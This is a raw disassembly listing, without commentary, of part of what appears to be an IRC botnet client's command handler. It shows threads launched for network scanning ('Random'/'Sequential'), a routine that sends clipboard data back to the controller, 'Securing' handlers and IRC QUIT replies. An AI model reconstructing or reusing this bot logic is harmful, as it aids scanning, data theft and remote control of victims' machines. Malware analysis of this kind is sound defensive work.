push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 20h
jmp loc_40EB85
; ---------------------------------------------------------------------------
loc_40E91F: ; CODE XREF: .nsp0:0040E8EAj
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp dword_422880, ebx
mov dword ptr [ebp-304h], 64h
mov dword ptr [ebp-318h], 4
mov dword ptr [ebp-314h], 1F4h
mov [ebp+8], ebx
jz short loc_40E990
mov eax, [ebp+20h]
mov edi, offset dword_422880
lea esi, [eax-0Ah]
loc_40E95A: ; CODE XREF: .nsp0:0040E972j
lea eax, [edi-28h]
push esi
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40E976
inc dword ptr [ebp+8]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_40E95A
jmp short loc_40E990
; ---------------------------------------------------------------------------
loc_40E976: ; CODE XREF: .nsp0:0040E968j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, dword_422880[ecx]
mov [ebp-31Ch], ecx
loc_40E990: ; CODE XREF: .nsp0:0040E94Dj
; .nsp0:0040E974j
cmp [ebp-31Ch], ebx
jz loc_40EB99
push 10h
lea eax, [ebp+18h]
pop esi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+18h], esi
push dword ptr [ebp+0Ch]
call dword_433A6C ; getsockname
mov al, [ebp-9B3h]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp-430h]
push eax
call sub_413710
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_413A10
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_40EA32
loc_40EA10: ; CODE XREF: .nsp0:0040EA30j
cmp eax, ebx
jz short loc_40EA32
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_413A10
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40EA10
loc_40EA32: ; CODE XREF: .nsp0:0040EA0Ej
; .nsp0:0040EA12j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov esi, [ebp-4]
mov [ebp-320h], eax
mov eax, [ebp-8]
mov edi, 80h
mov [ebp-2F4h], eax
lea eax, [ebp-420h]
push edi
push eax
mov dword ptr [ebp-2F0h], 1
mov [ebp-2F8h], esi
call sub_41246A
push offset byte_432708
push offset dword_425C00
call sub_412310
add esp, 14h
test eax, eax
jz short loc_40EA9C
push offset dword_425C00
lea eax, [ebp-3A0h]
push edi
push eax
call sub_41246A
add esp, 0Ch
jmp short loc_40EAA2
; ---------------------------------------------------------------------------
loc_40EA9C: ; CODE XREF: .nsp0:0040EA83j
mov [ebp-3A0h], bl
loc_40EAA2: ; CODE XREF: .nsp0:0040EA9Aj
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40EAB4
mov eax, offset aSequential ; "Sequential"
loc_40EAB4: ; CODE XREF: .nsp0:0040EAADj
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_42D680
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_41199A
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_405FF1
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40EB3E
loc_40EB2C: ; CODE XREF: .nsp0:0040EB3Cj
cmp [ebp-2ECh], ebx
jnz short loc_40EB59
push 32h
call dword_41D05C ; Sleep
jmp short loc_40EB2C
; ---------------------------------------------------------------------------
loc_40EB3E: ; CODE XREF: .nsp0:0040EB2Aj
call dword_41D06C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset dword_42E684
push eax
call sub_411EEE
add esp, 0Ch
loc_40EB59: ; CODE XREF: .nsp0:0040EB32j
cmp [ebp-8], ebx
jnz short loc_40EB78
push ebx
lea eax, [ebp-2C8h]
push esi
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40EB78: ; CODE XREF: .nsp0:0040EB5Cj
lea eax, [ebp-2C8h]
push eax
call sub_408E17
pop ecx
loc_40EB85: ; CODE XREF: .nsp0:0040E91Aj
add dword ptr [ebp+20h], 0Bh
mov eax, [ebp+20h]
cmp [eax], bl
jnz loc_40E8D0
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40EB99: ; CODE XREF: .nsp0:0040CEFCj
; .nsp0:0040E996j
push offset dword_42D634
jmp loc_40EF8A
; ---------------------------------------------------------------------------
loc_40EBA3: ; CODE XREF: .nsp0:0040B792j
; .nsp0:0040B7A7j
push 4
call sub_411BE2
test eax, eax
pop ecx
jle short loc_40EBC7
push offset unk_42D600
loc_40EBB4: ; CODE XREF: .nsp0:0040BB5Fj
; .nsp0:0040BC6Aj ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
pop ecx
pop ecx
jmp loc_40F73A
; ---------------------------------------------------------------------------
loc_40EBC7: ; CODE XREF: .nsp0:0040EBADj
mov eax, [ebp+esi-90h]
cmp eax, ebx
jz short loc_40EBEA
push eax
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
call sub_41246A
add esp, 0Ch
jmp short near ptr loc_40EBFD+1
; ---------------------------------------------------------------------------
loc_40EBEA: ; CODE XREF: .nsp0:0040EBD0j
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
push ebx
call near ptr 0AB0000h
loc_40EBFD: ; CODE XREF: .nsp0:0040EBE8j
mov [ebx-8BCA4Ch], cl
; ---------------------------------------------------------------------------
db 0FFh
dd 75F33BFFh, 5BC0BE05h, 8D560042h, 0FFF90085h, 0E85057FFh
dd 384Eh, 425B58A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh
dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh
dd 0FFFFFA10h, 4AC6E850h, 458B0000h, 908589FCh, 8BFFFFFAh
dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h
dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0A468FFFFh, 5000422Bh
dd 326DE8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 2D0Ah, 8938C483h
dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 52906850h
dd 53530040h, 0D07015FFh, 8D8B0041h, 0FFFFFA04h, 234C969h
dd 0C33B0000h, 8C6C8189h, 16740043h, 0FA989D39h, 850FFFFFh
dd 0A66h, 15FF326Ah, 41D05Ch, 15FFEAEBh, 41D06Ch, 0D5B46850h
dd 3CE90042h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_40ECEF: ; CODE XREF: .nsp0:0040B768j
; .nsp0:0040B77Dj
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_40ED0E
push edi
call sub_41245F
test eax, eax
pop ecx
jz short loc_40ED0E
push edi
call sub_41245F
pop ecx
jmp short loc_40ED13
; ---------------------------------------------------------------------------
loc_40ED0E: ; CODE XREF: .nsp0:0040ECF8j
; .nsp0:0040ED03j
mov eax, dword_425B5C
loc_40ED13: ; CODE XREF: .nsp0:0040ED0Cj
mov esi, [ebp+esi-8Ch]
mov [ebp-584h], eax
xor eax, eax
cmp [ebp-9B0h], bl
setz al
cmp esi, ebx
mov [ebp-570h], eax
jz short loc_40ED46
lea eax, [ebp-688h]
push esi
push eax
call sub_411EEE
pop ecx
pop ecx
jmp short loc_40ED71
; ---------------------------------------------------------------------------
loc_40ED46: ; CODE XREF: .nsp0:0040ED33j
lea eax, [ebp-3E8h]
push 104h
push eax
call near ptr 0AB0000h
push edx
push ebx
push ebx
lea eax, [ebp-2D4h]
push ebx
push eax
lea eax, [ebp-3E8h]
push eax
call sub_413BF8
add esp, 14h
loc_40ED71: ; CODE XREF: .nsp0:0040ED44j
lea eax, [ebp-688h]
push eax
call sub_4126F0
cmp byte ptr [ebp+eax-689h], 5Ch
pop ecx
jnz short loc_40ED9C
lea eax, [ebp-688h]
push eax
call sub_4126F0
pop ecx
mov [ebp+eax-689h], bl
loc_40ED9C: ; CODE XREF: .nsp0:0040ED86j
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
lea eax, [ebp-910h]
mov [ebp-914h], esi
push 80h
push eax
call sub_41246A
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-688h]
mov [ebp-578h], edi
push eax
push dword ptr [ebp-584h]
push esi
call sub_408045
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset unk_422A74
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 3
push eax
call sub_41199A
add esp, 20h
mov [ebp-57Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-914h]
push ebx
push eax
push offset sub_404175
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-57Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40EE50
loc_40EE3E: ; CODE XREF: .nsp0:0040EE4Ej
cmp [ebp-568h], ebx
jnz short loc_40EE6B
push 32h
call dword_41D05C ; Sleep
jmp short loc_40EE3E
; ---------------------------------------------------------------------------
loc_40EE50: ; CODE XREF: .nsp0:0040EE3Cj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42D568
loc_40EE5C: ; CODE XREF: .nsp0:0040D416j
; .nsp0:0040D510j
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
loc_40EE6B: ; CODE XREF: .nsp0:0040D3FAj
; .nsp0:0040D4F4j ...
cmp [ebp-8], ebx
jnz loc_40C897
push ebx
push edi
loc_40EE76: ; CODE XREF: .nsp0:0040CCC2j
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push esi
jmp loc_40C88F
; ---------------------------------------------------------------------------
loc_40EE89: ; CODE XREF: .nsp0:0040B73Ej
; .nsp0:0040B753j
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_40EE9C
push esi
call sub_41245F
jmp short loc_40EEA3
; ---------------------------------------------------------------------------
loc_40EE9C: ; CODE XREF: .nsp0:0040EE92j
push 8
call sub_411C01
loc_40EEA3: ; CODE XREF: .nsp0:0040EE9Aj
cmp eax, ebx
pop ecx
jz loc_40F7D2
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_405851
loc_40EEBE: ; CODE XREF: .nsp0:0040F32Ej
add esp, 10h
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40EEC6: ; CODE XREF: .nsp0:0040B714j
; .nsp0:0040B729j
mov eax, dword_4339F0
cmp eax, ebx
jz short loc_40EEE3
call eax ; dword_4339F0
test eax, eax
jz short loc_40EEDC
push offset unk_42D530
jmp short loc_40EEF8
; ---------------------------------------------------------------------------
loc_40EEDC: ; CODE XREF: .nsp0:0040EED3j
push offset unk_42D4F0
jmp short loc_40EEF8
; ---------------------------------------------------------------------------
loc_40EEE3: ; CODE XREF: .nsp0:0040EECDj
push offset unk_42D4B0
jmp short loc_40EEF8
; ---------------------------------------------------------------------------
loc_40EEEA: ; CODE XREF: .nsp0:0040B6EAj
; .nsp0:0040B6FFj
call sub_407F67
test eax, eax
jz short loc_40EF0E
push offset unk_42D478
loc_40EEF8: ; CODE XREF: .nsp0:0040EEDAj
; .nsp0:0040EEE1j ...
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
jmp loc_40F692
; ---------------------------------------------------------------------------
loc_40EF0E: ; CODE XREF: .nsp0:0040EEF1j
push offset unk_42D438
jmp short loc_40EEF8
; ---------------------------------------------------------------------------
loc_40EF15: ; CODE XREF: .nsp0:0040B6C0j
; .nsp0:0040B6D5j
cmp [ebp-8], ebx
jnz short loc_40EF34
push ebx
push dword ptr [ebp-4]
push offset aClipboardData ; "-[Clipboard Data]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40EF34: ; CODE XREF: .nsp0:0040EF18j
push ebx
push dword ptr [ebp-4]
call sub_407B66
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
push offset dword_42D3F4
jmp loc_40F1FD
; ---------------------------------------------------------------------------
loc_40EF56: ; CODE XREF: .nsp0:0040B5E0j
; .nsp0:0040B5F5j
push 7
call sub_411BE2
test eax, eax
pop ecx
jle short loc_40EF69
push offset dword_42D3B8
jmp short loc_40EF8A
; ---------------------------------------------------------------------------
loc_40EF69: ; CODE XREF: .nsp0:0040EF60j
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call near ptr loc_4086D0+1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40EF85
push offset dword_42D37C
jmp short loc_40EF8A
; ---------------------------------------------------------------------------
loc_40EF85: ; CODE XREF: .nsp0:0040EF7Cj
push offset dword_42D348
loc_40EF8A: ; CODE XREF: .nsp0:0040CA5Fj
; .nsp0:0040CB8Fj ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
pop ecx
pop ecx
jmp loc_40C876
; ---------------------------------------------------------------------------
loc_40EF9D: ; CODE XREF: .nsp0:0040B5B6j
; .nsp0:0040B5CBj
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_407553
jmp loc_40F21B
; ---------------------------------------------------------------------------
loc_40EFB6: ; CODE XREF: .nsp0:0040B58Cj
; .nsp0:0040B5A1j
push dword ptr [ebp+esi-90h]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_409981
jmp loc_40F21B
; ---------------------------------------------------------------------------
loc_40EFD3: ; CODE XREF: .nsp0:0040B562j
; .nsp0:0040B577j
or edi, 0FFFFFFFFh
call dword_41D048 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_40EFFC
push esi
call sub_41245F
pop ecx
mov edi, eax
loc_40EFFC: ; CODE XREF: .nsp0:0040EFF1j
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40F015
cmp edi, 0FFFFFFFFh
jnz loc_40F7D2
loc_40F015: ; CODE XREF: .nsp0:0040F00Aj
push ebx
call sub_408886
push eax
lea eax, [ebp-2C8h]
push offset dword_42D31C
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
lea eax, [ebp-2C8h]
push eax
call sub_408E17
jmp loc_40D24B
; ---------------------------------------------------------------------------
loc_40F057: ; CODE XREF: .nsp0:0040B538j
; .nsp0:0040B54Dj
push 1Eh
call sub_411BE2
test eax, eax
pop ecx
jle short loc_40F08B
cmp [ebp-8], ebx
jnz loc_40A7B4
push ebx
push dword ptr [ebp-4]
push offset dword_42D2E8
push dword ptr [ebp-8Ch]
loc_40F07B: ; CODE XREF: .nsp0:0040ABC2j
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40F08B: ; CODE XREF: .nsp0:0040F061j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_41246A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
mov [ebp-458h], ebx
jz short loc_40F0EC
push esi
push offset aFull ; "full"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0EC
mov dword ptr [ebp-458h], 1
loc_40F0EC: ; CODE XREF: .nsp0:0040F0CFj
; .nsp0:0040F0E0j
lea eax, [ebp-2C8h]
push offset dword_42D2AC
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 1Eh
push eax
call sub_41199A
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_410C28
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40F15A
loc_40F144: ; CODE XREF: .nsp0:0040F158j
cmp [ebp-44Ch], ebx
jnz loc_40C897
push 32h
call dword_41D05C ; Sleep
jmp short loc_40F144
; ---------------------------------------------------------------------------
loc_40F15A: ; CODE XREF: .nsp0:0040F142j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_42D25C
jmp loc_40DB89
; ---------------------------------------------------------------------------
loc_40F16B: ; CODE XREF: .nsp0:0040B50Ej
; .nsp0:0040B523j
cmp [ebp-8], ebx
jnz short loc_40F18A
push ebx
push dword ptr [ebp-4]
push offset dword_42D230
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40F18A: ; CODE XREF: .nsp0:0040F16Ej
push dword ptr [ebp+0Ch]
call dword_433B60 ; closesocket
call dword_433A28 ; WSACleanup
call loc_407CE9
push ebx
call dword_41D108 ; ExitProcess
loc_40F1A5: ; CODE XREF: .nsp0:0040B4E4j
; .nsp0:0040B4F9j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call sub_4089A5
pop ecx
pop ecx
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
push offset dword_42D204
jmp short loc_40F1FD
; ---------------------------------------------------------------------------
loc_40F1D0: ; CODE XREF: .nsp0:0040B4BAj
; .nsp0:0040B4CFj
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_408C59
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
push offset dword_42D1D8
loc_40F1FD: ; CODE XREF: .nsp0:0040EF51j
; .nsp0:0040F1CEj
call sub_408E17
jmp loc_40E010
; ---------------------------------------------------------------------------
loc_40F207: ; CODE XREF: .nsp0:0040B490j
; .nsp0:0040B4A5j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_408EB7
loc_40F21B: ; CODE XREF: .nsp0:0040A6FEj
; .nsp0:0040EFB1j ...
add esp, 10h
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40F223: ; CODE XREF: .nsp0:0040B466j
; .nsp0:0040B47Bj
cmp [ebp-0Ch], ebx
mov [ebp-374h], bl
jz short loc_40F262
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_40F262
push esi
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F262
push eax
push offset aS_1 ; "%s"
lea eax, [ebp-374h]
push 80h
push eax
call sub_41246A
add esp, 10h
loc_40F262: ; CODE XREF: .nsp0:0040F22Cj
; .nsp0:0040F237j ...
push dword ptr [ebp-8Ch]
lea eax, [ebp-3F4h]
push 80h
push eax
call sub_41246A
mov eax, [ebp+0Ch]
push offset dword_42D1AC
mov [ebp-3F8h], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
mov eax, [ebp-8]
mov [ebp-2ECh], eax
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 1Ch
push eax
call sub_41199A
add esp, 20h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F8h]
push ebx
push eax
push offset sub_408EF7
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40F302
loc_40F2EC: ; CODE XREF: .nsp0:0040F300j
cmp [ebp-2E8h], ebx
jnz loc_40A7B4
push 32h
call dword_41D05C ; Sleep
jmp short loc_40F2EC
; ---------------------------------------------------------------------------
loc_40F302: ; CODE XREF: .nsp0:0040F2EAj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_42D160
jmp loc_40F959
; ---------------------------------------------------------------------------
loc_40F313: ; CODE XREF: .nsp0:0040B43Cj
; .nsp0:0040B451j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_408D9F
push offset dword_42D134
call sub_408E17
jmp loc_40EEBE
; ---------------------------------------------------------------------------
loc_40F333: ; CODE XREF: .nsp0:0040B412j
; .nsp0:0040B427j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_41246A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
jz short loc_40F38D
push offset dword_42D130
push esi
call sub_412310
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-458h], eax
jmp short loc_40F393
; ---------------------------------------------------------------------------
loc_40F38D: ; CODE XREF: .nsp0:0040F371j
mov [ebp-458h], ebx
loc_40F393: ; CODE XREF: .nsp0:0040F38Bj
lea eax, [ebp-2C8h]
push offset dword_42D100
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 1Fh
push eax
call sub_41199A
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset byte_411A05
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40F3FD
loc_40F3EB: ; CODE XREF: .nsp0:0040F3FBj
cmp [ebp-44Ch], ebx
jnz short loc_40F418
push 32h
call dword_41D05C ; Sleep
jmp short loc_40F3EB
; ---------------------------------------------------------------------------
loc_40F3FD: ; CODE XREF: .nsp0:0040F3E9j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_42D0B4
loc_40F409: ; CODE XREF: .nsp0:0040E453j
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
loc_40F418: ; CODE XREF: .nsp0:0040E324j
; .nsp0:0040E33Cj ...
lea eax, [ebp-2C8h]
push eax
jmp loc_40B6A6
; ---------------------------------------------------------------------------
loc_40F424: ; CODE XREF: .nsp0:0040B396j
; .nsp0:0040B3ABj
push offset aIds4473 ; "ids4473"
lea eax, [ebp-2C8h]
push offset dword_42D088
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 20h
jmp loc_40C0A0
; ---------------------------------------------------------------------------
loc_40F45B: ; CODE XREF: .nsp0:0040B36Cj
; .nsp0:0040B381j
push dword_461F48
call sub_408886
push eax
lea eax, [ebp-2C8h]
push offset dword_42D048
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 24h
jmp loc_40C0A0
; ---------------------------------------------------------------------------
loc_40F499: ; CODE XREF: .nsp0:0040B342j
; .nsp0:0040B357j
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_40F4CB
cmp [ebp-0Ch], ebx
jz short loc_40F4DA
push esi
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F4DA
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
add esp, 0Ch
jmp short loc_40F4DA
; ---------------------------------------------------------------------------
loc_40F4CB: ; CODE XREF: .nsp0:0040F4A2j
push offset aQuitLater ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
pop ecx
pop ecx
loc_40F4DA: ; CODE XREF: .nsp0:0040F4A7j
; .nsp0:0040F4B6j ...
push 0FFFFFFFEh
jmp loc_40A7B6
; ---------------------------------------------------------------------------
loc_40F4E1: ; CODE XREF: .nsp0:0040B318j
; .nsp0:0040B32Dj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push offset dword_42CFF4
call sub_408E17
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40F503: ; CODE XREF: .nsp0:0040B2EEj
; .nsp0:0040B303j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push offset dword_42CFB0
call sub_408E17
add esp, 0Ch
xor eax, eax
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40F524: ; CODE XREF: .nsp0:0040B2C4j
; .nsp0:0040B2D9j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_405787
jmp loc_40DF79
; ---------------------------------------------------------------------------
loc_40F53A: ; CODE XREF: .nsp0:0040B21Fj
; .nsp0:0040B234j
push dword ptr [ebp+esi-90h]
push 1Eh
push offset dword_42CFA0
push offset dword_42CF94
jmp short loc_40F562
; ---------------------------------------------------------------------------
loc_40F54F: ; CODE XREF: .nsp0:0040B1F5j
; .nsp0:0040B20Aj
push dword ptr [ebp+esi-90h]
push 1Bh
push offset dword_42CF88
push offset dword_42CF78
loc_40F562: ; CODE XREF: .nsp0:0040B099j
; .nsp0:0040B0C2j ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_411C28
add esp, 20h
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40F57E: ; CODE XREF: .nsp0:0040B030j
; .nsp0:0040B045j ...
push edi
push offset aSecure ; "secure"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40F5A6
push edi
push offset aSec ; "sec"
call sub_412310
pop ecx
mov [ebp-458h], ebx
test eax, eax
pop ecx
jnz short loc_40F5B0
loc_40F5A6: ; CODE XREF: .nsp0:0040F58Dj
mov dword ptr [ebp-458h], 1
loc_40F5B0: ; CODE XREF: .nsp0:0040F5A4j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_41246A
mov eax, [ebp+0Ch]
add esp, 0Ch
cmp [ebp-458h], ebx
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
mov [ebp-450h], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40F5F7
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40F5F7: ; CODE XREF: .nsp0:0040F5F0j
push eax
push offset dword_42CF28
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
push ebx
lea eax, [ebp-2C8h]
push 19h
push eax
call sub_41199A
add esp, 1Ch
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_4112FF
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40F66B
loc_40F655: ; CODE XREF: .nsp0:0040F669j
cmp [ebp-44Ch], ebx
jnz loc_40C897
push 32h
call dword_41D05C ; Sleep
jmp short loc_40F655
; ---------------------------------------------------------------------------
loc_40F66B: ; CODE XREF: .nsp0:0040F653j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42CED8
jmp loc_40DB89
; ---------------------------------------------------------------------------
loc_40F67C: ; CODE XREF: .nsp0:0040B006j
; .nsp0:0040B01Bj
push offset aEnz9_9b34 ; "enz 9.9b34"
push offset dword_42CEB4
loc_40F686: ; CODE XREF: .nsp0:0040E408j
; .nsp0:0040E55Dj ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
loc_40F692: ; CODE XREF: .nsp0:0040EF09j
add esp, 0Ch
jmp loc_40C07F
; ---------------------------------------------------------------------------
loc_40F69A: ; CODE XREF: .nsp0:0040AFDCj
; .nsp0:0040AFF1j
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_40F6F1
push esi
call sub_41245F
cmp eax, ebx
pop ecx
jl short loc_40F6E9
cmp eax, 2
jge short loc_40F6E9
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40F6E1
lea eax, [esi+1]
push eax
lea eax, [ebp-2C8h]
push offset dword_42FC54
push eax
call sub_411EEE
add esp, 0Ch
mov [esi], bl
jmp short loc_40F73A
